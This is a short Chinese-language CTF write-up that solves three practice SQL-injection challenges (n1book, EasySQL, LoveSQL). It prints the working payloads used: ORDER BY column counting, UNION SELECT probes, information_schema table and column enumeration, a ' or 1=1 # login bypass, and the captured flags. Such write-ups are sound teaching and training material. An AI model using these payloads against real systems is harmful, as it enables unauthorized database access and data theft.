[第一章 web入门]SQL注入

在题目中提到了SQL,那么很可能是QL存在注入,在这种情况下需要先找到注入点,也就是可以输入SQL代码的输入框或参数,网址框这里发现有个id参数,尝试修改发现到3就给我们一个提示,说可以在后面接入提示参数。


根据提供的信息,可以确定存SQL注入点,然后需要尝试利用注入漏洞获取敏感信息,先猜下注入点的字段有几个,很显然到4的时候就没内容了,所有只有3个字段。
?id=1' order by 3 --+
接下来就是找这几个字段的回显信息在哪里显示,这样才能返回我们注入后想得到的信息结果。
?id=1' union select 1,2,3 --+
得到回显位置后,就可以查询了我们先看下数据库表。
?id=0' union select 0,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
从注入点中成功获取到一个字段的信息。
?id=0' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = "fl4g" --+
最后通过查询结果中的字段来获取flag信息。
?id=0' union select 1,group_concat(fllllag),3 from fl4g --+n1book{union_select_is_so_cool} [极客大挑战 2019]EasySQL1

尝试使用万能密码进行登录,意外地成功了,直接获取到了flag的回显信息果然标题没骗我。
0' or 1=1 #
flag{1db132f7-af42-4fec-b0bf-505f1e1058a4}[极客大挑战 2019]LoveSQL


0' or 1=1#再次尝试使用万能密码注入时,发现出现了提示信息,说明只是账号密码错了SQL查询语句没存在错误,再试试猜字段看看有什么结果。


0' order by 4#经过尝试,当查询条件中的字段值等于4时,就会出现SQL语句错误。

执行一个SQL查询,查看该数据库中有多少张表。
1' union select 0,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
可以看到这个结果中有一个名为 l0ve1ysq1 的表,非常明显就是它了。
1' union select 0,group_concat(column_name),3 from information_schema.columns where table_name = "l0ve1ysq1"#
最后查看下表里的内容,最终成功获取到flag。
1' union select 0,group_concat(password),3 from l0ve1ysq1# flag{cce5fc31-88d9-4451-8a6d-b6bbe8197330}
评论 (0)